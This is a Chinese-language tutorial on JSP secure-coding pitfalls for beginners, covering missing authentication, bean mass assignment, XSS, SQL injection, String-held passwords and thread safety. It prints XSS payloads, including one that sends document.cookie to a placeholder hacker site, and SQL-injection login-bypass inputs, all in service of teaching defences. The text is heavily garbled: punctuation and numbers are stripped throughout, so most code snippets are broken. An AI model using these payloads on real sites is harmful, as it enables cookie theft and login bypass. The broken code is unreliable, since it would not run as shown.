Java Server Page(JSP)作为建立动态网页的技术正在不断升温JSP和ASPPHP工作机制不太一样一般说来JSP页面在执行时是编译式而不是解释式的首次调用JSP文件其实是执行一个编译为Servlet的过程
当浏览器向服务器请求这一个JSP文件的时候服务器将检查自上次编译后JSP文件是否有改变如果没有改变就直接执行Servlet而不用再重新编译这样效率便得到了明显提高
今天我将和大家一起从脚本编程的角度看JSP的安全那些诸如源码暴露类的安全隐患就不在这篇文章讨论范围之内了写这篇文章的主要目的是给初学JSP编程的朋友们提个醒从一开始就要培养安全编程的意识不要犯不该犯的错误避免可以避免的损失
一认证不严 低级失误
user_managerjsp是用户管理的页面作者知道它的敏感性加上了一把锁
if ((sessiongetValue("UserName")==null)││(sessiongetValue("UserClass")==null)││(! sessiongetValue("UserClass")equals("系统管理员"))) { responsesendRedirect("errjsp?id="); return; }
如果要查看修改某用户的信息就要用modifyuser_managerjsp这个文件管理员提交
就是查看修改ID为的用户的资料(管理员默认的用户ID为)
但是如此重要的文件竟缺乏认证普通用户(包括游客)也直接提交上述请求也可以对其一览无余(密码也是明文存储显示的)modifyuser_managejsp同样是门户大开直到恶意用户把数据更新的操作执行完毕重定向到user_managerjsp的时候他才会看见那个姗姗来迟的显示错误的页面
显然只锁一扇门是远远不够的编程的时候一定要不厌其烦地为每一个该加身份认证的地方加上身份认证
二守好JavaBean的入口
JSP组件技术的核心是被称为bean的java组件在程序中可把逻辑控制数据库操作放在javabeans组件中然后在JSP文件中调用它这样可增加程序的清晰度及程序的可重用性和传统的ASP或PHP页面相比JSP页面是非常简洁的因为许多动态页面处理过程可以封装到JavaBean中要改变JavaBean属性要用到“<jsp:setProperty>”标记
下面的代码是假想的某电子购物系统的源码的一部分这个文件是用来显示用户的购物框中的信息的而checkoutjsp是用来结帐的
<jsp:useBean id="myBasket" class="BasketBean"> <jsp:setPropertyname="myBasket" property="*"/> <jsp:useBean> <html> <head><title>Your Basket</title></head> <body> <p> You have added the item <jsp::getProperty name="myBasket" property="newItem"/> to your basket <br/> Your total is $ <jsp::getProperty name="myBasket" property="balance"/> Proceed to <a href="checkoutjsp">checkout</a>
注意到property="*"了吗?这表明用户在可见的JSP页面中输入的或是直接通过Query String提交的全部变量的值将存储到匹配的bean属性中一般用户是这样提交请求的
但是不守规矩的用户呢?他们可能会提交
这样balance=的信息就被在存储到了JavaBean中了当他们这时点击“chekout”结账的时候费用就全免了这与PHP中全局变量导致的安全问题如出一辙由此可见“property="*"”一定要慎用!
三长盛不衰的跨站脚本
跨站脚本(Cross Site Scripting)攻击是指在远程WEB页面的HTML代码中手插入恶意的JavaScript VBScript ActiveX HTML 或Flash等脚本窃取浏览此页面的用户的隐私改变用户的设置破坏用户的数据
跨站脚本攻击在多数情况下不会对服务器和WEB程序的运行造成影响但对客户端的安全构成严重的威胁举个最简单的例子当我们提交
<;script>alert(documentcookie)</script>
便能弹出包含自己cookie信息的对话框而提交
<;script>documentlocation=http://wwwcom</script>
就能重定向到网易
由于在返回“name”变量的值给客户端时脚本没有进行任何编码或过滤恶意代码当用户访问嵌入恶意“name”变量数据链接时会导致脚本代码在用户浏览器上执行可能导致用户隐私洩露等后果比如下面的链接
<;script>documentlocation=http://wwwhackersitecom/xxxxxx?+documentcookie</script>
xxxxxx用于收集后边跟的参数而这里参数指定的是documentcookie也就是访问此链接的用户的cookie在ASP世界中很多人已经把偷cookie的技术练得炉火纯青了在JSP里读取cookie也不是难事当然跨站脚本从来就不会局限于偷cookie这一项功能相信大家都有一定了解这里就不展开了
对所有动态页面的输入和输出都应进行编码可以在很大程度上避免跨站脚本的攻击遗憾的是对所有不可信数据编码是资源密集型的工作会对 Web 服务器产生性能方面的影响常用的手段还是进行输入数据的过滤比如下面的代码就把危险的字符进行替换
<% String message = requestgetParameter("message"); message = messagereplace (<_); message = messagereplace (>_); message = messagereplace ("_); message = messagereplace (\_); message = messagereplace (%_); message = messagereplace (;_); message = messagereplace ((_); message = messagereplace ()_); message = messagereplace (&_); message = messagereplace (+_); %>
更积极的方式是利用正则表达式只允许输入指定的字符
public boolean isValidInput(String str) { if(strmatches("[az]+")) return true; else return false; }
四时刻牢记SQL注入
一般的编程书籍在教初学者的时候都不注意让他们从入门时就培养安全编程的习惯着名的《JSP编程思想与实践》就是这样向初学者示范编写带数据库的登录系统的(数据库为MySQL
Statement stmt = conncreateStatement(); String checkUser = "select * from login where username =" + userName + " and userpassword = " + userPassword + ""; ResultSet rs = stmtexecuteQuery(checkUser); if(rsnext()) responsesendRedirect("SuccessLoginjsp"); else responsesendRedirect("FailureLoginjsp");
这样使得尽信书的人长期使用这样先天“带洞”的登录代码如果数据库里存在一个名叫“jack”的用户那么在不知道密码的情况下至少有下面几种方法可以登录
用户名jack 密码 or a=a 用户名jack 密码 or =/* 用户名jack or =/* 密码(任意) lybbs(论坛)ver
Server在LogInOutjava中是这样对登录提交的数据进行检查的
if(sequals("")││ sequals("")) throw new UserException("用户名或密码不能空"); if(sindexOf("") != ││ sindexOf("\"") != ││ sindexOf("") != ││ sindexOf("\\") != ) throw new UserException("用户名不能包括 \" \\ 等非法字符"); if(sindexOf("") != ││ sindexOf("\"") != ││ sindexOf("*") != ││ sindexOf("\\") != ) throw new UserException("密码不能包括 \" \\ * 等非法字符"); if(sstartsWith("") ││ sstartsWith("")) throw new UserException("用户名或密码中不能用空格");
但是我不清楚为什么他只对密码而不对用户名过滤星号另外正斜槓似乎也应该被列到“黑名单”中我还是认为用正则表达式只允许输入指定范围内的字符来得干脆
这里要提醒一句不要以为可以凭借某些数据库系统天生的“安全性”就可以有效地抵御所有的攻击pinkeyes的那篇《PHP注入实例》就给那些依赖PHP的配置文件中的“magic_quotes_gpc = On”的人上了一课
五String对象带来的隐患
Java平台的确使安全编程更加方便了Java中无指针这意味着Java程序不再像C那样能对地址空间中的任意内存位置寻址了在JSP文件被编译成class文件时会被检查安全性问题例如当访问超出数组大小的数组元素的尝试将被拒绝这在很大程度上避免了缓沖区溢出攻击
但是String对象却会给我们带来一些安全上的隐患如果密码是存储在 Java String 对象中的则直到对它进行垃圾收集或进程终止之前密码会一直驻留在内存中即使进行了垃圾收集它仍会存在于空闲内存堆中直到重用该内存空间为止
密码 String 在内存中驻留得越久遭到窃听的危险性就越大更糟的是如果实际内存减少则操作系统会将这个密码 String 换页调度到磁盘的交换空间因此容易遭受磁盘块窃听攻击为了将这种洩密的可能性降至最低(但不是消除)您应该将密码存储在 char 数组中并在使用后对其置零(String 是不可变的无法对其置零)
六线程安全初探
“JAVA能做的JSP就能做”与ASPPHP等脚本语言不一样JSP默认是以多线程方式执行的以多线程方式执行可大大降低对系统的资源需求提高系统的并发量及响应时间线程在程序中是独立的并发的执行路径每个线程有它自己的堆栈自己的程序计数器和自己的局部变量
虽然多线程应用程序中的大多数操作都可以并行进行但也有某些操作(如更新全局标志或处理共享文件)不能并行进行如果没做好线程的同步在大并发量访问时不需要恶意用户的“热心参与”问题也会出现
最简单的解决方案就是在相关的JSP文件中加上:
<%@ page isThreadSafe="false" %>
指令使它以单线程方式执行这时所有客户端的请求以串行方式执行这样会严重降低系统的性能我们可以仍让JSP文件以多线程方式执行通过对函数上锁来对线程进行同步一个函数加上synchronized 关键字就获得了一个锁看下面的示例
public class MyClass{ int a; public Init() {//此方法可以多个线程同时调用 a = ; } public synchronized void Set() {//两个线程不能同时调用此方法 if(a>) { a= a; } } }
但是这样仍然会对系统的性能有一定影响一个更好的方案是采用局部变量代替实例变量因为实例变量是在堆中分配的被属于该实例的所有线程共享不是线程安全的而局部变量在堆栈中分配因为每个线程都有它自己的堆栈空间所以这样线程就是安全的了比如凌云论坛中添加好友的代码
public void addFriend(int i String s String s) throws DBConnectException { try { if…… else { DBConnect dbconnect = new DBConnect("insert into friend(authoridfriendname) values (??)"); dbconnectsetInt( i); dbconnectsetString( s); dbconnectexecuteUpdate(); dbconnectclose(); dbconnect = null; } } catch(Exception exception) { throw new DBConnectException(exceptiongetMessage()); } }
下面是调用
friendName=ParameterUtilsgetString(request"friendname"); if(actionequals("adduser")){ forumFriendaddFriend(IntegerparseInt(cookieID)friendNamecookieName); errorInfo=forumFriendgetErrorInfo(); }
如果采用的是实例变量那么该实例变量属于该实例的所有线程共享就有可能出现用户A传递了某个参数后他的线程转为睡眠状态而参数被用户B无意间修改造成好友错配的现象